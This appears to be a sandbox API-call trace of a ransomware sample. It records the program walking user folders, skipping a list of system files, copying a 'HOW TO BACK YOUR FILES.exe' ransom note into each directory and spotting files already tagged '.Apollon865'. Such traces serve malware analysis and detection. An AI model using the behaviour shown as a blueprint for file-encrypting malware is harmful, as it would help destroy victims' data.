	[0063.068] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0063.069] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f2f2cd0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f2f2cd0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0063.069] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0063.069] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f318e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1
	[0063.069] lstrcmpiW (lpString1="Java", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.069] lstrcmpiW (lpString1="Java", lpString2="Apollon865.txt.exe") returned 1
	[0063.069] lstrcmpiW (lpString1="Java", lpString2=".") returned 1
	[0063.069] lstrcmpiW (lpString1="Java", lpString2="..") returned 1
	[0063.069] lstrcmpiW (lpString1="Java", lpString2="windows") returned -1
	[0063.069] lstrcmpiW (lpString1="Java", lpString2="bootmgr") returned 1
	[0063.069] lstrcmpiW (lpString1="Java", lpString2="temp") returned -1
	[0063.069] lstrcmpiW (lpString1="Java", lpString2="pagefile.sys") returned -1
	[0063.069] lstrcmpiW (lpString1="Java", lpString2="boot") returned 1
	[0063.069] lstrcmpiW (lpString1="Java", lpString2="ids.txt") returned 1
	[0063.069] lstrcmpiW (lpString1="Java", lpString2="ntuser.dat") returned -1
	[0063.069] lstrcmpiW (lpString1="Java", lpString2="perflogs") returned -1
	[0063.069] lstrcmpiW (lpString1="Java", lpString2="MSBuild") returned -1
	[0063.069] lstrlenW (lpString="Java") returned 4
	[0063.069] lstrlenW (lpString="C:\\Users\\All Users\\Sun\\*") returned 24
	[0063.069] lstrcpyW (in: lpString1=0x119e636, lpString2="Java" | out: lpString1="Java") returned="Java"
	[0063.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0063.069] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x38) returned 0x5ca250
	[0063.069] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c30 | out: ListHead=0x5b75f0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0063.069] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f318e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0
	[0063.069] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0063.069] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c30
	[0063.069] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Sun\\Java", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Sun\\Java") returned="C:\\Users\\All Users\\Sun\\Java"
	[0063.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ca250 | out: hHeap=0x580000) returned 1
	[0063.069] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0063.069] lstrlenW (lpString="C:\\Users\\All Users\\Sun\\Java") returned 27
	[0063.069] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Sun\\Java" | out: lpString1="C:\\Users\\All Users\\Sun\\Java") returned="C:\\Users\\All Users\\Sun\\Java"
	[0063.069] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.070] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Sun\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\sun\\java\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.070] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.070] GetLastError () returned 0x0
	[0063.070] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.070] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.070] CloseHandle (hObject=0x15c) returned 1
	[0063.070] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.070] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.070] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f318e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0063.072] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.072] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0063.072] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0063.072] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f318e30, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.072] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.072] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0063.072] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0063.072] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0063.072] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f318e30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0063.072] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0063.072] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f33ef90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f33ef90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1
	[0063.072] lstrcmpiW (lpString1="Java Update", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.072] lstrcmpiW (lpString1="Java Update", lpString2="Apollon865.txt.exe") returned 1
	[0063.072] lstrcmpiW (lpString1="Java Update", lpString2=".") returned 1
	[0063.072] lstrcmpiW (lpString1="Java Update", lpString2="..") returned 1
	[0063.072] lstrcmpiW (lpString1="Java Update", lpString2="windows") returned -1
	[0063.072] lstrcmpiW (lpString1="Java Update", lpString2="bootmgr") returned 1
	[0063.072] lstrcmpiW (lpString1="Java Update", lpString2="temp") returned -1
	[0063.072] lstrcmpiW (lpString1="Java Update", lpString2="pagefile.sys") returned -1
	[0063.072] lstrcmpiW (lpString1="Java Update", lpString2="boot") returned 1
	[0063.072] lstrcmpiW (lpString1="Java Update", lpString2="ids.txt") returned 1
	[0063.072] lstrcmpiW (lpString1="Java Update", lpString2="ntuser.dat") returned -1
	[0063.072] lstrcmpiW (lpString1="Java Update", lpString2="perflogs") returned -1
	[0063.072] lstrcmpiW (lpString1="Java Update", lpString2="MSBuild") returned -1
	[0063.072] lstrlenW (lpString="Java Update") returned 11
	[0063.072] lstrlenW (lpString="C:\\Users\\All Users\\Sun\\Java\\*") returned 29
	[0063.073] lstrcpyW (in: lpString1=0x119e640, lpString2="Java Update" | out: lpString1="Java Update") returned="Java Update"
	[0063.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0063.073] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bcb18
	[0063.073] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c30 | out: ListHead=0x5b75f0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0063.073] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f33ef90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f33ef90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0
	[0063.073] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0063.073] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c30
	[0063.073] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Sun\\Java\\Java Update", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Sun\\Java\\Java Update") returned="C:\\Users\\All Users\\Sun\\Java\\Java Update"
	[0063.073] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bcb18 | out: hHeap=0x580000) returned 1
	[0063.073] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0063.073] lstrlenW (lpString="C:\\Users\\All Users\\Sun\\Java\\Java Update") returned 39
	[0063.073] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Sun\\Java\\Java Update" | out: lpString1="C:\\Users\\All Users\\Sun\\Java\\Java Update") returned="C:\\Users\\All Users\\Sun\\Java\\Java Update"
	[0063.073] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.073] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\sun\\java\\java update\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.073] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.074] GetLastError () returned 0x0
	[0063.074] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.074] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.074] CloseHandle (hObject=0x15c) returned 1
	[0063.074] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.074] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.074] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f33ef90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f33ef90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0063.074] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.074] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0063.074] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0063.074] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x2f33ef90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f33ef90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.074] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.074] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0063.074] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0063.074] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0063.074] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f318e30, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f318e30, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0063.074] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0063.074] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x2f33ef90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jaureglist.xml.Apollon865", cAlternateFileName="JAUREG~1.APO")) returned 1
	[0063.075] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0063.075] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="Apollon865.txt.exe") returned 1
	[0063.075] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2=".") returned 1
	[0063.075] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="..") returned 1
	[0063.075] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="windows") returned -1
	[0063.075] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="bootmgr") returned 1
	[0063.075] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="temp") returned -1
	[0063.075] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="pagefile.sys") returned -1
	[0063.075] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="boot") returned 1
	[0063.075] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="ids.txt") returned 1
	[0063.075] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="ntuser.dat") returned -1
	[0063.075] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="perflogs") returned -1
	[0063.075] lstrcmpiW (lpString1="jaureglist.xml.Apollon865", lpString2="MSBuild") returned -1
	[0063.075] lstrlenW (lpString="jaureglist.xml.Apollon865") returned 25
	[0063.075] lstrlenW (lpString="C:\\Users\\All Users\\Sun\\Java\\Java Update\\*") returned 41
	[0063.075] lstrcpyW (in: lpString1=0x119e658, lpString2="jaureglist.xml.Apollon865" | out: lpString1="jaureglist.xml.Apollon865") returned="jaureglist.xml.Apollon865"
	[0063.075] lstrlenW (lpString="jaureglist.xml.Apollon865") returned 25
	[0063.075] lstrlenW (lpString="Apollon865") returned 10
	[0063.075] lstrcmpiW (lpString1="Apollon865", lpString2="Apollon865") returned 0
	[0063.075] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x2f33ef90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jaureglist.xml.Apollon865", cAlternateFileName="JAUREG~1.APO")) returned 0
	[0063.075] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0063.075] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7ab0
	[0063.075] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Start Menu", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Start Menu") returned="C:\\Users\\All Users\\Start Menu"
	[0063.075] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6310 | out: hHeap=0x580000) returned 1
	[0063.075] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0063.075] lstrlenW (lpString="C:\\Users\\All Users\\Start Menu") returned 29
	[0063.075] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Start Menu" | out: lpString1="C:\\Users\\All Users\\Start Menu") returned="C:\\Users\\All Users\\Start Menu"
	[0063.075] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.075] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Start Menu\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\start menu\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.076] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.076] GetLastError () returned 0x0
	[0063.076] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.076] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.076] CloseHandle (hObject=0x15c) returned 1
	[0063.076] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.076] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.076] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Start Menu\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x2f33ef90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jaureglist.xml.Apollon865", cAlternateFileName="JAUREG~1.APO")) returned 0xffffffff
	[0063.077] GetLastError () returned 0x5
	[0063.077] wsprintfA (in: param_1=0x119f5f0, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Start Menu\\* FindFirstFile error 5\r\n") returned 63
	[0063.077] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Start Menu\\* FindFirstFile error 5\r\n") returned 63
	[0063.077] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.077] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c85
	[0063.077] WriteFile (in: hFile=0x15c, lpBuffer=0x119f5f0*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x119e2bc, lpOverlapped=0x0 | out: lpBuffer=0x119f5f0*, lpNumberOfBytesWritten=0x119e2bc*=0x3f, lpOverlapped=0x0) returned 1
	[0063.077] CloseHandle (hObject=0x15c) returned 1
	[0063.077] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7bd0
	[0063.077] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0063.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bded8 | out: hHeap=0x580000) returned 1
	[0063.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7bc8 | out: hHeap=0x580000) returned 1
	[0063.077] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache") returned 32
	[0063.077] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache" | out: lpString1="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0063.077] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0063.077] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0063.078] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0063.078] GetLastError () returned 0x0
	[0063.078] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0063.078] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0063.078] CloseHandle (hObject=0x15c) returned 1
	[0063.078] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0063.078] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0063.078] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f3650f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3650f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0063.079] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0063.079] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0063.079] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0063.079] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xecce51e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x2f3650f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f3650f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
